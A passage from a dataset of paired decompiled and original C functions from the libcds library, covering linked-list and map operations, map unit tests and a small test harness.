list\");\nv2 = list_at(a1, a2);\nreturn list_delete_node(a1, v2);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func13(__int64 *a1, __int64 a2)\n{\n__int64 v2; // rax\n\nexn_assert(\"source/list/list.c\", 143LL, a1 != 0LL, \"NULL != list\");\nv2 = func6(a1, a2);\nreturn func14(a1, v2);\n}", "original_code": "void list_delete( list_t* list, size_t index)\n{\n exn_assert(\"source/list/list.c\",143,((void *)0) != list,\"NULL != list\");\n list_delete_node(list, list_at(list, index));\n}", "canonical_original_code": "void list_delete(struct list_t *list, unsigned long index)\n{\n exn_assert(\"source/list/list.c\",143,((void *)0) != list,\"NULL != list\");\n list_delete_node(list, list_at(list, index));\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *head; struct list_node_t *tail; } *" ], [ "index", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_delete_node", "canonical_name": "func14", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_delete_node(_QWORD *a1, __int64 a2)\n{\n_QWORD *v2; // rax\n_QWORD *v3; // rax\n\nexn_assert(\"source/list/list.c\", 149LL, a1 != 0LL, \"NULL != list\");\nexn_assert(\"source/list/list.c\", 150LL, a2 != 0, \"NULL != node\");\nif ( *(_QWORD *)(a2 + 16) )\nv2 = (_QWORD *)(*(_QWORD *)(a2 + 16) + 8LL);\nelse\nv2 = a1;\n*v2 = *(_QWORD *)(a2 + 8);\nif ( *(_QWORD *)(a2 + 8) )\nv3 = (_QWORD *)(*(_QWORD *)(a2 + 8) + 16LL);\nelse\nv3 = a1 + 1;\n*v3 = *(_QWORD *)(a2 + 16);\n*(_QWORD *)(a2 + 8) = 0LL;\n*(_QWORD *)(a2 + 16) = 0LL;\nreturn mem_release(a2);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func14(_QWORD *a1, __int64 a2)\n{\n_QWORD *v2; // rax\n_QWORD *v3; // rax\n\nexn_assert(\"source/list/list.c\", 149LL, a1 != 0LL, \"NULL != list\");\nexn_assert(\"source/list/list.c\", 150LL, a2 != 0, \"NULL != node\");\nif ( *(_QWORD *)(a2 + 16) )\nv2 = (_QWORD *)(*(_QWORD *)(a2 + 16) + 8LL);\nelse\nv2 = a1;\n*v2 = *(_QWORD *)(a2 + 8);\nif ( *(_QWORD *)(a2 + 8) )\nv3 = (_QWORD *)(*(_QWORD *)(a2 + 8) + 16LL);\nelse\nv3 = a1 + 1;\n*v3 = *(_QWORD *)(a2 + 16);\n*(_QWORD *)(a2 + 8) = 0LL;\n*(_QWORD *)(a2 + 16) = 0LL;\nreturn mem_release(a2);\n}", "original_code": "void list_delete_node(list_t* list, list_node_t* node)\n{\n exn_assert(\"source/list/list.c\",149,((void *)0) != list,\"NULL != list\");\n exn_assert(\"source/list/list.c\",150,((void *)0) != node,\"NULL != node\");\n *(node->prev ? &(node->prev->next) : &(list->head)) = node->next;\n *(node->next ? &(node->next->prev) : &(list->tail)) = node->prev;\n node->next = ((void *)0);\n node->prev = ((void *)0);\n mem_release(node);\n}", "canonical_original_code": "void list_delete_node(struct list_t *list, struct list_node_t *node)\n{\n exn_assert(\"source/list/list.c\",149,((void *)0) != list,\"NULL != list\");\n exn_assert(\"source/list/list.c\",150,((void *)0) != node,\"NULL != node\");\n *(node->prev ? &(node->prev->next) : &(list->head)) = node->next;\n *(node->next ? &(node->next->prev) : &(list->tail)) = node->prev;\n node->next = ((void *)0);\n node->prev = ((void *)0);\n mem_release(node);\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *head; struct list_node_t *tail; } *" ], [ "node", "struct list_node_t *" ] ], "return_type": "void", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_free", "canonical_name": "func15", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_free(__int64 *a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/list/list.c\", 177LL, a1 != 0LL, \"NULL != list\");\nresult = *a1;\nif ( *a1 )\nresult = mem_release(*a1);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func15(__int64 *a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/list/list.c\", 177LL, a1 != 0LL, \"NULL != list\");\nresult = *a1;\nif ( *a1 )\nresult = mem_release(*a1);\nreturn result;\n}", "original_code": "static void list_free(void* p_list)\n{\n list_t* list = (list_t*)p_list;\n exn_assert(\"source/list/list.c\",177,((void *)0) != list,\"NULL != list\");\n if (((void *)0) != list->head)\n mem_release(list->head);\n}", "canonical_original_code": "static void list_free(void *p_list)\n{\n struct list_t *list = (list_t*)p_list;\n exn_assert(\"source/list/list.c\",177,((void *)0) != list,\"NULL != list\");\n if (((void *)0) != list->head)\n mem_release(list->head);\n}", "variable_types": [ [ "p_list", "void *" ], [ "list", "struct list_t { struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *head; struct list_node_t *tail; } *" ] ], "return_type": "void", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_node_free", "canonical_name": "func16", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_node_free(_QWORD *a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/list/list.c\", 185LL, a1 != 0LL, \"NULL != node\");\nif ( *a1 )\nmem_release(*a1);\nresult = a1[1];\nif ( result )\nresult = mem_release(a1[1]);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func16(_QWORD *a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/list/list.c\", 185LL, a1 != 0LL, \"NULL != node\");\nif ( *a1 )\nmem_release(*a1);\nresult = a1[1];\nif ( result )\nresult = mem_release(a1[1]);\nreturn result;\n}", "original_code": "static void list_node_free(void* p_node)\n{\n list_node_t* node = (list_node_t*)p_node;\n exn_assert(\"source/list/list.c\",185,((void *)0) != node,\"NULL != node\");\n if (((void *)0) != node->contents)\n mem_release(node->contents);\n if (((void *)0) != node->next)\n mem_release(node->next);\n}", "canonical_original_code": "static void list_node_free(void *p_node)\n{\n struct list_node_t *node = (list_node_t*)p_node;\n exn_assert(\"source/list/list.c\",185,((void *)0) != node,\"NULL != node\");\n if (((void *)0) != node->contents)\n mem_release(node->contents);\n if (((void *)0) != node->next)\n mem_release(node->next);\n}", "variable_types": [ [ "p_node", "void *" ], [ "node", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *" ] ], "return_type": "void", "user_defined_types": [ "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" } ]
1e25c908f11c9cbd216af55e465b7e556947651fe94d6b882ca69fa4a9d27af6
mikedlowis/libcds
[ [ "test_setup", "->", "Map" ], [ "hash_int", "->" ], [ "cmp_int", "->" ], [ "Map", "->", "test_setup" ] ]
[ [ "test_setup", "void func0()\n{\n;\n}" ], [ "Map", "__int64 func3()\n{\n__int64 v0; // rax\n__int64 v1; // rax\n__int64 v2; // rax\n__int64 v3; // rax\n__int64 v4; // rax\n__int64 v5; // rax\n__int64 v6; // rax\n__int64 v7; // rax\n__int64 v8; // rax\n__int64 v9; // rax\n__int64 v10; // rax\n__int64 v11; // rax\n__int64 v12; // rax\n__int64 v13; // rax\n__int64 v14; // rax\n__int64 v15; // rbx\n__int64 v16; // rax\n__int64 v17; // rax\n__int64 v18; // rbx\n__int64 v19; // rax\n__int64 v20; // rax\n__int64 v21; // rax\n__int64 result; // rax\n__int64 v23; // rax\n__int64 v24; // [rsp+8h] [rbp-C8h]\n__int64 v25; // [rsp+10h] [rbp-C0h]\n__int64 v26; // [rsp+18h] [rbp-B8h]\n__int64 v27; // [rsp+20h] [rbp-B0h]\n__int64 v28; // [rsp+28h] [rbp-A8h]\n__int64 v29; // [rsp+30h] [rbp-A0h]\n__int64 v30; // [rsp+38h] [rbp-98h]\n__int64 v31; // [rsp+40h] [rbp-90h]\n__int64 v32; // [rsp+48h] [rbp-88h]\n__int64 v33; // [rsp+50h] [rbp-80h]\n__int64 v34; // [rsp+58h] [rbp-78h]\n__int64 v35; // [rsp+60h] [rbp-70h]\n__int64 v36; // [rsp+68h] [rbp-68h]\n__int64 v37; // [rsp+70h] [rbp-60h]\n__int64 v38; // [rsp+78h] [rbp-58h]\n__int64 v39; // [rsp+80h] [rbp-50h]\n__int64 v40; // [rsp+88h] [rbp-48h]\n__int64 v41; // [rsp+90h] [rbp-40h]\n__int64 v42; // [rsp+98h] [rbp-38h]\n__int64 v43; // [rsp+A0h] [rbp-30h]\n__int64 v44; // [rsp+A8h] [rbp-28h]\n__int64 v45; // [rsp+B0h] [rbp-20h]\n__int64 v46; // [rsp+B8h] [rbp-18h]\n\nCurr_Test = \"Verify_map_new\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv0 = cmp_new(0LL, cmp_int);\nv46 = map_new(v0, hash_int);\nmem_release(v46);\n}\n}\nCurr_Test = \"Verify_map_has_key_should_return_true_if_the_item_is_in_the_map\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv1 = cmp_new(0LL, cmp_int);\nv45 = map_new(v1, hash_int);\nv44 = mem_box(42LL);\nv2 = mem_retain(v44);\nmap_insert(v45, v44, v2);\nif ( map_size(v45) != 1 )\n{\ntest_fail(\"map_size(map) == 1\", \"tests/test_map.c\", 47LL);\nbreak;\n}\nif ( (unsigned __int8)map_has_key(v45, v44) != 1 )\n{\ntest_fail(\"map_has_key(map, boxed_val)\", \"tests/test_map.c\", 48LL);\nbreak;\n}\nmem_release(v45);\n}\n}\nCurr_Test = \"Verify_map_has_key_should_return_false_if_the_item_is_not_in_the_map\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv3 = cmp_new(0LL, cmp_int);\nv43 = map_new(v3, hash_int);\nv42 = mem_box(43LL);\nv41 = mem_box(42LL);\nv4 = mem_retain(v41);\nmap_insert(v43, v41, v4);\nif ( map_size(v43) != 1 )\n{\ntest_fail(\"map_size(map) == 1\", \"tests/test_map.c\", 58LL);\nbreak;\n}\nif ( (unsigned __int8)map_has_key(v43, v42) )\n{\ntest_fail(\"!map_has_key(map, lup_val)\", \"tests/test_map.c\", 59LL);\nbreak;\n}\nmem_release(v43);\nmem_release(v42);\n}\n}\nCurr_Test = \"Verify_map_insert_multiple_times_replaces_the_associated_value_with_the_new_value\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv5 = cmp_new(0LL, cmp_int);\nv40 = map_new(v5, hash_int);\nv39 = mem_box(42LL);\nv38 = mem_box(43LL);\nv6 = mem_retain(v39);\nmap_insert(v40, v39, v6);\nv7 = mem_retain(v39);\nmap_insert(v40, v7, v38);\nif ( map_size(v40) != 1 )\n{\ntest_fail(\"map_size(map) == 1\", \"tests/test_map.c\", 74LL);\nbreak;\n}\nif ( (unsigned __int8)map_has_key(v40, v39) != 1 )\n{\ntest_fail(\"map_has_key(map, lup_val)\", \"tests/test_map.c\", 75LL);\nbreak;\n}\nmem_release(v40);\n}\n}\nCurr_Test = \"Verify_map_insert_a_value_less_than_an_existing_value\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv8 = cmp_new(0LL, cmp_int);\nv37 = map_new(v8, hash_int);\nv36 = mem_box(43LL);\nv35 = mem_box(42LL);\nv9 = mem_retain(v36);\nmap_insert(v37, v36, v9);\nv10 = mem_retain(v35);\nmap_insert(v37, v35, v10);\nif ( map_size(v37) != 2 )\n{\ntest_fail(\"map_size(map) == 2\", \"tests/test_map.c\", 86LL);\nbreak;\n}\nif ( (unsigned __int8)map_has_key(v37, v35) != 1 )\n{\ntest_fail(\"map_has_key(map, box_val2)\", \"tests/test_map.c\", 87LL);\nbreak;\n}\nmem_release(v37);\n}\n}\nCurr_Test = \"Verify_map_insert_a_value_greater_than_an_existing_value\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv11 = cmp_new(0LL, cmp_int);\nv34 = map_new(v11, hash_int);\nv33 = mem_box(42LL);\nv32 = mem_box(43LL);\nv12 = mem_retain(v33);\nmap_insert(v34, v33, v12);\nv13 = mem_retain(v32);\nmap_insert(v34, v32, v13);\nif ( map_size(v34) != 2 )\n{\ntest_fail(\"map_size(map) == 2\", \"tests/test_map.c\", 98LL);\nbreak;\n}\nif ( (unsigned __int8)map_has_key(v34, v32) != 1 )\n{\ntest_fail(\"map_has_key(map, box_val2)\", \"tests/test_map.c\", 99LL);\nbreak;\n}\nmem_release(v34);\n}\n}\nCurr_Test = \"Verify_map_delete_deletes_the_item_from_the_map\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv14 = cmp_new(0LL, cmp_int);\nv31 = map_new(v14, hash_int);\nv30 = mem_box(42LL);\nif ( map_size(v31) )\n{\ntest_fail(\"map_size(map) == 0\", \"tests/test_map.c\", 110LL);\nbreak;\n}\nv15 = mem_retain(v30);\nv16 = mem_retain(v30);\nmap_insert(v31, v16, v15);\nif ( map_size(v31) != 1 )\n{\ntest_fail(\"map_size(map) == 1\", \"tests/test_map.c\", 112LL);\nbreak;\n}\nmap_delete(v31, v30);\nif ( map_size(v31) )\n{\ntest_fail(\"map_size(map) == 0\", \"tests/test_map.c\", 114LL);\nbreak;\n}\nmem_release(v31);\nmem_release(v30);\n}\n}\nCurr_Test = \"Verify_map_lookup_should_return_the_associated_value_for_the_given_key\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv17 = cmp_new(0LL, cmp_int);\nv29 = map_new(v17, hash_int);\nv28 = mem_box(42LL);\nv18 = mem_retain(v28);\nv19 = mem_retain(v28);\nmap_insert(v29, v19, v18);\nif ( map_size(v29) != 1 )\n{\ntest_fail(\"map_size(map) == 1\", \"tests/test_map.c\", 127LL);\nbreak;\n}\nif ( v28 != map_lookup(v29, v28) )\n{\ntest_fail(\"map_lookup(map, lup_val) == lup_val\", \"tests/test_map.c\", 128LL);\nbreak;\n}\nmem_release(v29);\nmem_release(v28);\n}\n}\nCurr_Test = \"Verify_map_lookup_should_return_NULL_if_the_associated_value_is_null\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv20 = cmp_new(0LL, cmp_int);\nv27 = map_new(v20, hash_int);\nv26 = mem_box(42LL);\nv21 = mem_retain(v26);\nmap_insert(v27, v21, 0LL);\nif ( map_size(v27) != 1 )\n{\ntest_fail(\"map_size(map) == 1\", \"tests/test_map.c\", 138LL);\nbreak;\n}\nif ( map_lookup(v27, v26) )\n{\ntest_fail(\"map_lookup(map, lup_val) == NULL\", \"tests/test_map.c\", 139LL);\nbreak;\n}\nmem_release(v27);\nmem_release(v26);\n}\n}\nCurr_Test = \"Verify_map_lookup_should_return_NULL_if_no_association_exists\";\n++Test_Results;\nfunc0();\nresult = test_start();\nif ( !(_DWORD)result )\n{\nfor ( Loop_Var = 0; ; ++Loop_Var )\n{\nresult = Loop_Var;\nif ( Loop_Var > 0 )\nbreak;\nv23 = cmp_new(0LL, cmp_int);\nv25 = map_new(v23, hash_int);\nv24 = mem_box(42LL);\nif ( map_lookup(v25, v24) )\nreturn test_fail(\"map_lookup(map, lup_val) == NULL\", \"tests/test_map.c\", 148LL);\nmem_release(v25);\nmem_release(v24);\n}\n}\nreturn result;\n}" ] ]
[ { "name": "hash_int", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall hash_int(__int64 a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h] BYREF\n\nv2 = mem_unbox(a1);\nreturn murmur3_32(&v2, 8LL);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h] BYREF\n\nv2 = mem_unbox(a1);\nreturn murmur3_32(&v2, 8LL);\n}", "original_code": "static uint32_t hash_int(void* obj) {\n intptr_t val = mem_unbox(obj);\n return murmur3_32((uint8_t*)&val, sizeof(intptr_t));\n}", "canonical_original_code": "static unsigned int hash_int(void *obj) {\n long val = mem_unbox(obj);\n return murmur3_32((unsigned char *)&val, sizeof(long));\n}", "variable_types": [ [ "obj", "void *" ], [ "val", "long" ] ], "return_type": "unsigned int", "user_defined_types": [], "binary_hash": "1e25c908f11c9cbd216af55e465b7e556947651fe94d6b882ca69fa4a9d27af6" }, { "name": "cmp_int", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall cmp_int(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\nunsigned __int64 v5; // [rsp+20h] [rbp-10h]\nunsigned __int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = mem_unbox(a2);\nv5 = mem_unbox(a3);\nif ( v6 >= v5 )\nresult = v5 < v6;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\nunsigned __int64 v5; // [rsp+20h] [rbp-10h]\nunsigned __int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = mem_unbox(a2);\nv5 = mem_unbox(a3);\nif ( v6 >= v5 )\nresult = v5 < v6;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}", "original_code": "static int cmp_int(void* env, void* obja, void* objb) {\n uintptr_t inta = mem_unbox(obja);\n uintptr_t intb = mem_unbox(objb);\n (void)env;\n if (inta < intb)\n return -1;\n else if (intb < inta)\n return 1;\n else\n return 0;\n}", "canonical_original_code": "static int cmp_int(void *env, void *obja, void *objb) {\n unsigned long inta = mem_unbox(obja);\n unsigned long intb = mem_unbox(objb);\n (void)env;\n if (inta < intb)\n return -1;\n else if (intb < inta)\n return 1;\n else\n return 0;\n}", "variable_types": [ [ "env", "void *" ], [ "obja", "void *" ], [ "objb", "void *" ], [ "inta", "unsigned long" ], [ "intb", "unsigned long" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "1e25c908f11c9cbd216af55e465b7e556947651fe94d6b882ca69fa4a9d27af6" } ]
21685513d7be16cff6c7f75a5959bb0616834c97cf331ed3a489929c50ff2cc7
mikedlowis/libcds
[ [ "handle_signal", "->" ], [ "test_start", "->" ], [ "test_print_results", "->" ], [ "test_fail", "->" ] ]
[]
[ { "name": "handle_signal", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "void __fastcall handle_signal(unsigned int a1)\n{\nputs(\"Handle Signal\");\nif ( a1 <= 0x1F && ((1LL << a1) & 0x800009D0LL) != 0 )\n{\nfprintf(stderr, \"%s:%d:0:%s:CRASH (signal: %d)\\n\\t\\n\", \"tests/test.c\", 35LL, (const char *)Curr_Test, a1);\nexit(1);\n}\nfprintf(stderr, \"CRASH (signal %d): %s\\n\", a1, (const char *)Curr_Test);\n}\n", "canonical_decompiled_code": "void __fastcall func0(unsigned int a1)\n{\nputs(\"Handle Signal\");\nif ( a1 <= 0x1F && ((1LL << a1) & 0x800009D0LL) != 0 )\n{\nfprintf(stderr, \"%s:%d:0:%s:CRASH (signal: %d)\\n\\t\\n\", \"tests/test.c\", 35LL, (const char *)Curr_Test, a1);\nexit(1);\n}\nfprintf(stderr, \"CRASH (signal %d): %s\\n\", a1, (const char *)Curr_Test);\n}", "original_code": "static void handle_signal(int sig) {\n puts(\"Handle Signal\");\n switch(sig) {\n case 6:\n case 7:\n case 8:\n case 4:\n case 11:\n case 31:\n fprintf(stderr,\"%s:%d:0:%s:CRASH (signal: %d)\\n\\t\\n\", \"tests/test.c\", 35, Curr_Test, sig); exit(1);\n break;\n default:\n fprintf(stderr,\"CRASH (signal %d): %s\\n\", sig, Curr_Test);\n break;\n }\n}", "canonical_original_code": "static void handle_signal(int sig) {\n puts(\"Handle Signal\");\n switch(sig) {\n case 6:\n case 7:\n case 8:\n case 4:\n case 11:\n case 31:\n fprintf(stderr,\"%s:%d:0:%s:CRASH (signal: %d)\\n\\t\\n\", \"tests/test.c\", 35, Curr_Test, sig); exit(1);\n break;\n default:\n fprintf(stderr,\"CRASH (signal %d): %s\\n\", sig, Curr_Test);\n break;\n }\n}", "variable_types": [ [ "sig", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "21685513d7be16cff6c7f75a5959bb0616834c97cf331ed3a489929c50ff2cc7" }, { "name": "test_start", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 test_start()\n{\nunsigned int v1; // [rsp+Ch] [rbp-4h]\n\nv1 = setjmp(Landing_Pad);\nif ( !v1 )\n{\n_sysv_signal(6, (__sighandler_t)handle_signal);\n_sysv_signal(7, (__sighandler_t)handle_signal);\n_sysv_signal(8, (__sighandler_t)handle_signal);\n_sysv_signal(4, (__sighandler_t)handle_signal);\n_sysv_signal(11, (__sighandler_t)handle_signal);\n_sysv_signal(31, (__sighandler_t)handle_signal);\n}\nreturn v1;\n}\n", "canonical_decompiled_code": "__int64 func1()\n{\nunsigned int v1; // [rsp+Ch] [rbp-4h]\n\nv1 = setjmp(Landing_Pad);\nif ( !v1 )\n{\n_sysv_signal(6, (__sighandler_t)handle_signal);\n_sysv_signal(7, (__sighandler_t)handle_signal);\n_sysv_signal(8, (__sighandler_t)handle_signal);\n_sysv_signal(4, (__sighandler_t)handle_signal);\n_sysv_signal(11, (__sighandler_t)handle_signal);\n_sysv_signal(31, (__sighandler_t)handle_signal);\n}\nreturn v1;\n}", "original_code": "int test_start(void) {\n int rval = _setjmp (Landing_Pad);\n if(0 == rval) {\n signal(6, handle_signal);\n signal(7, handle_signal);\n signal(8, handle_signal);\n signal(4, handle_signal);\n signal(11, handle_signal);\n signal(31, handle_signal);\n }\n return rval;\n}", "canonical_original_code": "int test_start() {\n int rval = _setjmp (Landing_Pad);\n if(0 == rval) {\n signal(6, handle_signal);\n signal(7, handle_signal);\n signal(8, handle_signal);\n signal(4, handle_signal);\n signal(11, handle_signal);\n signal(31, handle_signal);\n }\n return rval;\n}", "variable_types": [ [ "rval", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "21685513d7be16cff6c7f75a5959bb0616834c97cf331ed3a489929c50ff2cc7" }, { "name": "test_print_results", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 test_print_results()\n{\nprintf(\nResults_String,\n(unsigned int)Test_Results[0],\n(unsigned int)(Test_Results[0] - Test_Results[2]),\n(unsigned int)Test_Results[2]);\nreturn (unsigned int)Test_Results[2];\n}\n", "canonical_decompiled_code": "__int64 func2()\n{\nprintf(\nResults_String,\n(unsigned int)Test_Results[0],\n(unsigned int)(Test_Results[0] - Test_Results[2]),\n(unsigned int)Test_Results[2]);\nreturn (unsigned int)Test_Results[2];\n}", "original_code": "int test_print_results(void) {\n (void)Loop_Var;\n (void)Curr_Test;\n printf(Results_String,\n Test_Results.total,\n Test_Results.total - Test_Results.failed,\n Test_Results.failed);\n return Test_Results.failed;\n}", "canonical_original_code": "int test_print_results() {\n (void)Loop_Var;\n (void)Curr_Test;\n printf(Results_String,\n Test_Results.total,\n Test_Results.total - Test_Results.failed,\n Test_Results.failed);\n return Test_Results.failed;\n}", "variable_types": [], "return_type": "int", "user_defined_types": [], "binary_hash": "21685513d7be16cff6c7f75a5959bb0616834c97cf331ed3a489929c50ff2cc7" }, { "name": "test_fail", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "int __fastcall test_fail(const char *a1, const char *a2, unsigned int a3)\n{\n++Test_Results[2];\nreturn printf(\"%s:%d:0:%s:FAIL\\n\\t%s\\n\", a2, a3, (const char *)Curr_Test, a1);\n}\n", "canonical_decompiled_code": "int __fastcall func3(const char *a1, const char *a2, unsigned int a3)\n{\n++Test_Results[2];\nreturn printf(\"%s:%d:0:%s:FAIL\\n\\t%s\\n\", a2, a3, (const char *)Curr_Test, a1);\n}", "original_code": "void test_fail(char* expr, char* file, int line) {\n Test_Results.failed++;\n printf(\"%s:%d:0:%s:FAIL\\n\\t%s\\n\", file, line, Curr_Test, expr); }", "canonical_original_code": "void test_fail(char *expr, char *file, int line) {\n Test_Results.failed++;\n printf(\"%s:%d:0:%s:FAIL\\n\\t%s\\n\", file, line, Curr_Test, expr); }", "variable_types": [ [ "expr", "char *" ], [ "file", "char *" ], [ "line", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "21685513d7be16cff6c7f75a5959bb0616834c97cf331ed3a489929c50ff2cc7" } ]
241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4
mikedlowis/libcds
[ [ "map_pair_free", "->" ], [ "map_pair_new", "->", "map_insert" ], [ "map_free", "->" ], [ "map_compare_nodes", "->" ], [ "map_has_key", "->" ], [ "map_size", "->" ], [ "map_lookup", "->" ], [ "map_insert", "->", "map_pair_new" ], [ "map_delete", "->" ] ]
[]
[ { "name": "map_pair_free", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall map_pair_free(__int64 a1)\n{\n__int64 result; // rax\n\nif ( *(_QWORD *)(a1 + 8) )\nmem_release(*(_QWORD *)(a1 + 8));\nresult = *(_QWORD *)(a1 + 16);\nif ( result )\nresult = mem_release(*(_QWORD *)(a1 + 16));\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1)\n{\n__int64 result; // rax\n\nif ( *(_QWORD *)(a1 + 8) )\nmem_release(*(_QWORD *)(a1 + 8));\nresult = *(_QWORD *)(a1 + 16);\nif ( result )\nresult = mem_release(*(_QWORD *)(a1 + 16));\nreturn result;\n}", "original_code": "static void map_pair_free(void* obj)\n{\n if(((map_pair_t*)obj)->key)\n mem_release(((map_pair_t*)obj)->key);\n if(((map_pair_t*)obj)->value)\n mem_release(((map_pair_t*)obj)->value);\n}", "canonical_original_code": "static void map_pair_free(void *obj)\n{\n if(((struct map_pair_t *)obj)->key)\n mem_release(((struct map_pair_t *)obj)->key);\n if(((struct map_pair_t *)obj)->value)\n mem_release(((struct map_pair_t *)obj)->value);\n}", "variable_types": [ [ "obj", "void *" ] ], "return_type": "void", "user_defined_types": [ "struct map_pair_t { unsigned int hash; void *key; void *value; }" ], "binary_hash": "241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4" }, { "name": "map_pair_new", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall map_pair_new(int a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\n\nresult = mem_allocate(24LL, map_pair_free);\n*(_QWORD *)(result + 8) = a2;\n*(_QWORD *)(result + 16) = a3;\n*(_DWORD *)result = a1;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(int a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\n\nresult = mem_allocate(24LL, map_pair_free);\n*(_QWORD *)(result + 8) = a2;\n*(_QWORD *)(result + 16) = a3;\n*(_DWORD *)result = a1;\nreturn result;\n}", "original_code": "static map_pair_t* map_pair_new(uint32_t hash, void* key, void* value)\n{\n map_pair_t* pair = (map_pair_t*)mem_allocate(sizeof(map_pair_t), &map_pair_free);\n pair->key = key;\n pair->value = value;\n pair->hash = hash;\n return pair;\n}", "canonical_original_code": "static struct map_pair_t *map_pair_new(unsigned int hash, void *key, void *value)\n{\n struct map_pair_t *pair = (map_pair_t*)mem_allocate(sizeof(map_pair_t), &map_pair_free);\n pair->key = key;\n pair->value = value;\n pair->hash = hash;\n return pair;\n}", "variable_types": [ [ "hash", "unsigned int" ], [ "key", "void *" ], [ "value", "void *" ], [ "pair", "struct map_pair_t { unsigned int hash; void *key; void *value; } *" ] ], "return_type": "struct map_pair_t { unsigned int hash; void *key; void *value; } *", "user_defined_types": [ "struct map_pair_t { unsigned int hash; void *key; void *value; }" ], "binary_hash": "241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4" }, { "name": "map_free", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall map_free(__int64 a1)\n{\nreturn mem_release(*(_QWORD *)(a1 + 8));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1)\n{\nreturn mem_release(*(_QWORD *)(a1 + 8));\n}", "original_code": "static void map_free(void* obj)\n{\n mem_release(((map_t*)obj)->tree);\n}", 